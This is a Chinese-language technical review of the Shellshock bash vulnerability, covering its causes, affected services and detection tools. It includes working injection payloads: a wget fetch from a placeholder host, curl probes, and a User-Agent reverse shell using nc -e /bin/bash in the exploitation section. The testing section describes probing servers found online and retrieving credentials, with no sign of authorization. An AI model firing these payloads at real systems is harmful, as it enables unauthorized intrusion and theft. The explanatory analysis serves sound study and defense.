Shellshock漏洞回顾与分析测试

0x00 漏洞概述

很多人或许对2014上半年发生的安全问题“心脏流血”（Heartbleed Bug）事件记忆颇深，2014年9月，又出现了另外一个“毁灭级”的漏洞——Bash软件安全漏洞。这个漏洞由法国GNU/Linux爱好者Stéphane Chazelas所发现。随后，美国电脑应急响应中心（US-CERT）、红帽以及多家从事安全的公司于周三（北京时间2014年9月24日）发出警告。

关于这个安全漏洞的细节可参看：CVE-2014-6271 和 CVE-2014-7169。

漏洞概况信息如下：

漏洞英文名称  Bash Shellshock
中文命名    破壳（X-CERT）
威胁响应等级  A级
漏洞相关CVE编号   CVE-2014-6271
漏洞发现者   Stéphane Chazelas（法国）
漏洞发现事件  2014年9月中旬
漏洞公布时间  9月25日
漏洞影响对象  bash 1.14至bash 4.3的Linux/Unix系统 

2014年9月，UNIX、Linux系统中广泛使用的Bash软件被曝出了一系列、已经存在数十年的漏洞（Bash或Shellshock），在业界引起了非常大的影响。

最初的bug已经修复了，但引发了人们对Bash的解析程序可能产生0day漏洞的关切，随后又挖掘出了第二个漏洞CVE-2014-7169，这个漏洞也在很快得到了修复。

不少Linux发行版本连夜发布了修复版本的Bash，在服务器领域占有不少份额的大多数FreeBSD 和NetBSD已经默认关闭了自动导入函数的功能，以应对未来可能出现的漏洞。

在这个漏洞的风波逐渐平息之余，不少业内人士也在思考，它为何波及如此之广，影响如此之大。

InfoWorld的专栏作者Andrew C. Oliver在一篇文章中表达了自己看法，他认为CGI技术的普及是个错误，正是因为CGI技术的不合理之处，Shellshock才有机可乘。

CGI技术是Web技术刚兴起的时候发明的，它是最早的可以创建动态网页内容的技术之一。它会把一个HTTP请求转化为一次shell调用。

而Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞，启动Bash的时候，它不但会导入这个函数，而且也会把函数定义后面的命令执行。在有些CGI脚本的设计中，数据是通过环境变量来传递的，这样就给了数据提供者利用Shellshock漏洞的机会。

0.1 Bash介绍

Bourne Again Shell（简称BASH）是在GNU/Linux上最流行的SHELL实现，于1980年诞生，经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系统深度整合的多功能接口。

根据维基百科的描述：Bash，Unix shell的一种。1989年发布第一个正式版本，原先是计划用在GNU操作系统上，但能运行于大多数类Unix系统的操作系统之上，包括Linux与Mac OS X v10.4都将它作为默认shell。它也被移植到Microsoft Windows上的Cygwin与MinGW，或是可以在MS-DOS上使用的DJGPP项目。在Novell NetWare与Android上也有移植。

0.2 CGI技术与脚本解析

CGI (Common Gateway Interface)，是一种基于浏览器的输入，在Web服务器上运行程序的方法。

CGI脚本让浏览器与用户产生交互，例如，信息评论，表单选择，数据库查询。

作为网页设计者，通常创建客户端的 CGI脚本，服务器端的程序用来处理用户输入，结果返回给用户。

后台处理程序不仅仅可以用PHP、Python、Perl等脚本来接受请求、解释执行、响应客户端，当然还可以用Bash脚本来解释执行用户提交的GET或POST请求。

0.3 Bash漏洞与远程执行

洞利用一般分为本地利用和远程执行利用。

该漏洞爆出后，一些研究人员最初认为该漏洞只是本地漏洞，所以无法很好地利用。

随着研究的深入，研究发现其实它可以进行远程利用。2014年9月24日Bash被公布存在远程代码执行漏洞。

Bash漏洞其实是非常经典的“注入式攻击”，也就是可以向 bash注入一段命令，从bash1.14 到4.3都存在这样的漏洞。

由于Bash存储远程执行漏洞，所以，理论上，可以在HTTP请求中注入一个Bash命令，进行远程执行，比如：

#!bash
() { :;}; wget http://www.XXX.com/testvul.sh

对于利用Bash脚本处理用户请求的网站，攻击者可以精心伪造数据，通过网络传到一台服务器上，直接或间接触发一个bash脚本，这样就可以远程执行恶意代码。

由于Bash是一个被广泛集成的软件，几乎所有的系统都在运行，从Rapsberry Pis到手机，再到数据中心的服务器以及大型机等。

由于自动导入函数的功能至少从Bash 3.0开始就存在了，所以这个bug有可能在大多数系统中存在近20年了。

由于Apache服务器中使用mod_cgi（不包括mod_php或mod_python）运行脚本的时候，数据是通过环境变量来传递的，这可以算是互联网领域最古老的一些技术了。

其他一些客户端也会受到影响——比如Linux的DHCP客户端——它大量运用Bash脚本来使修改生效，这也使黑客能通过在DHCP数据包中加入恶意数据来达到攻击的目的。

鉴于Bash是大多数Linux系统（以及OSX）上默认的shell，这个漏洞就意味着，把有害数据编入环境变量，传到服务器端，触发服务器运行Bash脚本，就完成了攻击（passing an poisoned environment variable through to a server running a CGI script could trivially be compromised）。

举个例子，HTTP协议的头User-Agent通常是通过环境变量HTTP_USER_AGENT来传递的，这意味使用以下命令就可以测试这个漏洞了：

#!bash
curl -H 'User-Agent:() { :; }; echo -e "\r\nVul\r\n"' http://example.com/some-cgi/script.cgi

对于不传递User-Agent的服务器来说，常常还有其他受攻击的可能——比如Cookie，Referer或者请求本身。 另外，这个bug不仅仅影响CGI脚本和Apache——如果其他程序也收到并传递了有害的环境变量（比如ssh服务会接收TERM或DISPLAY环境变量），然后这些进程再运行一个Bash脚本（或通过system()调用来执行），同样的漏洞也会被利用。

和HTTP不同，SSH一般不允许匿名请求——触发这个漏洞之前必须要登录——但是代码托管服务商们却允许匿名登录（哪怕只登录到一个权限受限的shell），所以为了防止入侵，GitHub更新了他们的企业级产品，Bitbucket也更新了他们的服务器。

由于Bash漏洞能够远程执行，所以会产生像struts2等漏洞利用一样的效果，对攻击者而言，通常就是“拿站或拿服务器”，再去执行其他操作。

下面引用一张图，做个简单的形象说明。

0x01 漏洞原因分析

漏洞信息最早来源于国外知名漏洞网站exploit-db下的第34765篇漏洞报告，其中出现了一条验证命令：

#!bash
env x='() { :;}; echo vulnerable' bash -c "echo this is a test "

如果在一个含有版本号小于bash 4.3的linux或者unix系统，本地执行以上命令，可能会得到以下输出：

#!bash
Vulnerable this is a test

其中如果出现第一行vulnerable则说明该系统存在一个由bash程序缺陷导致的任意命令执行漏洞。

Windows Cygwin Terminal本地执行结果如下：

Kali 1.0.9-i386本地执行结果如下：

CVE-2014-6271中的bug修复后，问题马上就解决了，大多数厂商都及时提供了修复后的Bash版本。面向互联网的服务器没有理由不马上修复它，因为这个漏洞会使主机完全落入别人的控制（以Apache所使用的用户身份）中。 但是，大家的目光已经聚焦在这个领域，新的bug被发现了。同时使用Bash的shell重定向功能和函数自动导入功能，CVE-2014-7169出现了。这回导致的结果是可以随意读写远程机器上的文件，使用的手段和上次一样，只不过这次是利用了shell的重定向符号<或>。

#!bash
env CVE_2014_7169='() { (a)=>\' bash -c "echo date"; cat echo

这次解析器先停在=号上（由于(a)=不是一个有效的Bash表达式），但至关重要的是把<号留在了解析管道中。接下来的转义符\会使解析器在重定向命令之间插入一些空格（但无关紧要），最终导致了后面的命令变成了一条重定向命令：

#!bash
>echo data

这是一条有效的Bash命令，语义上它等价于下面这种更常见的形式：

#!bash
date >echo

注意，另外一个重定向符号<在这里也是有效的，它可以把输入重定向到文件。 所以这个bug也被修复了。

当然，有能力设置任何环境变量，可以使攻击者控制一切东西——修改IFS环境变量（过去被利用过的一个漏洞），甚至修改PATH环境变量，会影响新启动的shell脚本的行为，无论如何这些手段都会导致问题。但至少前面提到的SSH和CGI攻击中，涉及的环境变量要么是有限几个（TERM、DISPLAY等），要么是以某个前缀（HTTP_USER_AGENT、HTTP_REFERRER）开头的。所以除了前缀名所代表的程序外，其他的程序受影响有限。

有些人预计Bash自动导入函数的功能还存在安全漏洞，担心未来还会有bug曝出。NetBSD在Bash中默认关闭了自动导入函数的功能，FreeBSD也这么做了，转而以新增选项（ --import-functions）的方式提供这个功能。

1.1 正常执行过程分析

我们先来看一下这个安全问题的症状。这个问题的发生是因为Bash的一个功能，它允许在Bash的shell中使用环境变量来定义函数。函数的作用是把经常调用的代码封装起来，然后在其他地方复用，所有的shell脚本语言都有这个功能。Bash中函数的定义是这样的（大多数其他shell也是）：

#!bash
function hello {
 echo "Hello"
}
hello    # 调用这个函数

但是，Bash还有一种使用环境变量来定义函数的方法，这是它独有的。

如果环境变量的值以字符“() {”开头，那么这个变量就会被当作是一个导入函数的定义（Export），这种定义只有在shell启动的时候才生效。

#!bash
$ export HELLO="() { echo 'Hello'; }"
$ HELLO
-bash: HELLO: command not found
$ bash
$ HELLO
Hello

上述语句在Cygwin Terminal环境下的测试结果如下。

使用下面语句定义后，查看环境变量，可以发现刚才定义的值

#!bash
export X='() { echo "inside X"; }; echo "outside X";'

下面对Bash独特的定义方式进行测试，因为这种独特的方法只会在shell启动的时候生效，所以大多数用来演示这个漏洞的示例代码都只有一行：

#!bash
env HELLO="() { echo 'Hello'; }" bash -c HELLO

这行代码的作用跟下面分步执行的语句，在效果上是一样的。

env命令代表“先设置下面的环境变量，再运行下面的程序”，并且执行完成后当前的环境变量不受影响。实际上，直接写成

#!bash
env HELLO="() { echo 'Hello'; }" bash -c HELLO

也可以。

bash命令指定了-c选项是为了启动bash时就执行HELLO函数，这里必须新起一个bash，因为只有bash启动的时候才会去解析函数的定义。

正常的函数定义和执行如下

#!bash
env HELLO="() { echo 'Hello'; }" bash -c HELLO

1.2 异常执行过程分析

通过上述对bash 执行过程分析，可知bash在处理含有函数定义诸如"() { :; }"的环境变量赋值的代码上存在设计缺陷，错误地将函数定义后面的字符串作为命令执行。

所以真正的利用与env命令无关，只要设法让系统接受一个含有"[函数定义]+[任意命令]"的环境变量赋值则可触发" [任意命令] "部分所表示的代码执行。

恶意命令被添加在合法环境变量之后，Bash会首先运行恶意命令，异常执行结构图示如下：

Shellshock command diagram (Symantec)

异常方式，如果注入如下代码（需要注意的是此例中函数定义使用的是单引号，函数体内容为空，函数体后有echo语句）。

#!bash
env VAR='() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"

上述输入向环境变量中注入了一段代码 echo Bash is vulnerable。

打个比方，本来正常要执行的是“牛A”和“牛C”，结果中间的“牛B”被执行了

Bash漏洞在于函数体外面的代码被默认地执行了，执行结果如下所示。

问题出现在bash解析完函数定义，执行函数的时候，它自动导入函数的解析器越过了函数定义的结尾，接着执行后面的代码，并且由于每一个新的bash启动时都会触发这个漏洞，相当于任意代码都能被执行了。

有漏洞的系统还会把“Bash is vulnerable”打出来，在修复后的系统中，上面命令的结果应该只打印“Hello”，而不会执行其他的语句。

1.3 源码级分析

由于网上已经有相关分析文章，具体请参考如下链接：

• http://blog.erratasec.com/2014/09/the-shockingly-bad-code-of-bash.html#.VEW-R_mUeE0
• http://neilscomputerblog.blogspot.com/2014/09/shellshock-vulnerability-patch-and.html
• http://blog.csdn.net/u011721501/article/details/39558303
• http://blog.knownsec.com/2014/09/bash_3-0-4-3-command-exec-analysis/
• http://www.antiy.com/response/CVE-2014-6271.html
• http://www.freebuf.com/articles/web/45520.html

期待更多大神级源码深入分析。

0x02 影响范围分析

对于存在Bash漏洞系统而言，由于它允许未经授权的远程用户可以指定Bash环境变量，那么运行这些服务或应用程序的系统，就存在漏洞被利用的可能。

只要是能通过某种手段为bash传递环境变量的程序都受此影响。当然最典型的的就是bash写的CGI程序了，客户端通过在请求字符串里加入构造的值，就可以轻松攻击运行CGI的服务器。

目前大多数的网站很少用CGI了，所以问题不算太大。但是有很多的网络设备，如路由器、交换机等都使用了Perl或者其他语言编写的CGI程序，只要是底层调用了bash，那么就爱存在风险。

任何已知程序，只要满足以下两个条件就可以被用来通过bash漏洞导致任意命令执行：

1、程序在某一时刻使用bash作为脚本解释器处理环境变量赋值； 2、环境变量赋值字符串的提交取决于用户输入。

目前，可能被利用的系统包括：

• 运行CGI脚本（通过mod_cgi 和 mod_cgid）的Apache HTTP 服务器；
• 某些DHCP客户端；
• 使用Bash的各种网络服务；
• 使用 ForceCommand 功能的 OpenSSH 服务器；
• 使用CGI作为网络接口的基于Linux的路由器；
• 使用Bash的各种嵌入式设备。
• ……

0x03 漏洞验证测试

3.1 不同工具测试比较

不同工具测试同一地址。

工具1 利用Crow Strike ShellShock Scanner测试Bash漏洞，该工具可以批量扫描，测试某网站结果如下：

为了分析该工具的测试字符，利用Wireshark抓包，发现该工具主要测试了3个字段Test、Cookie、Referer，抓包结果如下：

工具2

工具3

3.2 本地测试

本地构造不同的POC，进行Bash漏洞测试，如果我们打开Cygwin Terminal，使用不同的测试用例，进行测试，在Cygwin Terminal下的测试结果如下：

3.3 远程测试

选取网上搜索到的目标，对其进行Bash漏洞测试，使用工具curl。

测试命令如下：

#!bash
curl -H 'User-Agent:() { :; }; echo -e "\r\nVul\r\n"'  http://XXX:8080/cgi-bin/XXX.cgi

测试截图如下：

在http协议中构造Referer、Cookie、User-Agent字段命令，使用Burpsuit，发送到存在Bash漏洞的服务器，会返回3个Vul字符，说明3个字段传递的参数都被服务器后端脚本解析处理，测试结果如下：

构造其他Poc，获取服务器用户名和密码。

0x04 漏洞利用测试

在本地搭建有Bash漏洞的服务器，利用浏览器访问CGI页面，显示正常访问。

用Burpsuit进行拦截，初始时intercept is off。

用Burpsuit进行拦截，打开intercept is on。

修改http协议中的User-Agent字段为

#!bash
() { :; }; /bin/bash -c "nc 192.168.175.142 4444 -e /bin/bash -i"

发送http请求后，nc反弹，可以查看用户名、目录、系统版本等信息。

0x05 参考文献

1) http://www.freebuf.com/vuls/44994.html

2) http://www.freebuf.com/news/44768.html

3) http://www.freebuf.com/news/45436.html

4) http://blog.csdn.net/u011721501/article/details/39558303

5) http://www.srxh1314.com/bash-cgi-bin.html

6) http://www.linuxidc.com/Linux/2014-09/107250.htm

7) http://www.freebuf.com/tools/45311.html

8) http://www.timlaytoncybersecurity.com/2014/09/30/shellshock-bash-code-injection-vulnerability- overview-info/

9) http://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high- risk.html

10) http://blog.erratasec.com/2014/09/the-shockingly-bad-code-of-bash.html#.VEW-R_mUeE0

11) http://blog.cloudflare.com/inside-shellshock/

12) http://www.zenghui123.com/2014-10/linux-bash-vulnerability-ShellShock/

13) http://it.slashdot.org/story/14/09/29/024239/bash-to-require-further-patching-as-more-shellshock- holes-found

14) http://www.itnews.com.au/News/396256,further-flaws-render-shellshock-patch-ineffective.aspx

15) http://www.antiy.com/response/CVE-2014-6271.html

16) http://www.antiy.com/response/The_Association_Threat_Evolution_of_Bash_and_the_Current_Status_of_Malware_in_UNIX-like_Systems.html

17) http://blog.knownsec.com/2014/10/shellshock_response_profile_v4/#more-1559

18) http://blog.csdn.net/delphiwcdj/article/details/18048757

19) /papers/?id=3064

20) http://fish.ijinshan.com/cgibincheck/check

21) https://access.redhat.com/articles/1200223

22) http://www.antiy.com/response/CVE-2014-6271.html

23) http://lcamtuf.blogspot.fr/2014/09/quick-notes-about-bash-bug-its-impact.html

24) http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html

25) http://mashable.com/2014/09/26/what-is-shellshock/

26) http://www.businessinsider.com/bash-shell-bug-explained-2014-9

27) http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html#.VD5bk2SUeE0

28) http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html#.VD5bymSUeE1

29) http://resources.infosecinstitute.com/bash-bug-cve-2014-6271-critical-vulnerability-scaring- internet/

30) http://unix.stackexchange.com/questions/157329/what-does-env-x-command-bash-do-and-why-is-it- insecure

31) http://askubuntu.com/questions/529511/explanation-of-the-command-to-check-shellshock

32) http://digg.com/video/the-shellshock-bug-explained-in-about-four-minutes

33) http://www.symantec.com/connect/blogs/shellshock-all-you-need-know-about-bash-bug-vulnerability

34) http://brandonpotter.wordpress.com/2014/09/30/some-stats-from-shellshock-test-tool-analysis/

35) http://coolshell.cn/articles/11973.html

36) http://www.infoq.com/cn/news/2014/10/shellshock

37) http://www.infoq.com/news/2014/09/shellshock

38) http://www.freebuf.com/articles/web/45520.html

39) http://blog.sucuri.net/2014/09/bash-shellshocker-attacks-increase-in-the-wild-day-1.html

40) http://mobile.itnews.com.au/News/396197，first-shellshock-botnet-attacks-akamai-us-dod- networks.aspx

41) http://securityaffairs.co/wordpress/29070/malware/mayhem-shellshock-attacks-worldwide.html

42) http://www.carmelowalsh.com/2014/09/wopbot-botnet/

43) http://blog.malwaremustdie.org/2014/10/mmd-0029-2015-warning-of-mayhem.html

44) http://www.incapsula.com/blog/shellshock-bash-vulnerability-aftermath.html

45) https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the- shellshock-bash-vulnerability

46) https://github.com/gry/shellshock-scanner

47) http://www.tripwire.com/state-of-security/vulnerability-management/how-to-detect-the-shellshock- bash-bug-on-your-internal-network/

48) https://community.qualys.com/blogs/securitylabs/2014/09/25/shellshock-is-your-webserver-under- attack

49) https://community.qualys.com/blogs/qualys-tech/2014/10/02/using-qualys-was-scan-to-detect- shellshock-vulnerability

50) http://samiux.blogspot.com/2014/09/exploit-shellshock-proof-of-concept.html

51) http://oleaass.com/shellshock-proof-of-concept-reverse-shell/

52) http://milankragujevic.com/projects/shellshock/

53) http://milankragujevic.com/post/64

54) http://breizh-entropy.org/~nameless/random/posts/shellshock_shits_got_real/

55) http://www.tripwire.com/state-of-security/vulnerability-management/how-to-detect-the-shellshock- bash-bug-on-your-internal-network/

56) https://github.com/gry/shellshock-scanner

57) http://blog.crowdstrike.com/crowdstrike-shellshock-scanner/

58) http://businessinsights.bitdefender.com/shellshock-bashbug

59) http://www.csoonline.com/article/2689216/vulnerabilities/apple-publishes-patch-for-shellshock- vulnerability.html

60) http://alblue.bandlem.com/2014/09/bash-remote-vulnerability.html

61) https://shellshocker.net/

62) https://github.com/mubix/shellshocker-pocs

63) http://oleaass.com/shellshock-proof-of-concept-reverse-shell/

64) http://www.freebuf.com/articles/system/45390.html

65) http://blog.knownsec.com/2014/10/shellshock_response_profile_v4/#more-1559

66) http://it.deepinmind.com/%E5%85%B6%E5%AE%83/2014/09/26/everything-you-need-to-know-about- shellshock.html

67) http://www.securitysift.com/the-search-for-shellshock/

68) http://blog.cloudflare.com/inside-shellshock/

69) http://blog.regehr.org/archives/1187

70) https://github.com/mubix/shellshocker-pocs

71) http://pastebin.com/mG1grQwK

72) http://www.cyactive.com/shellshock-blasts-supermassive-black-hole-heart-cyber-space/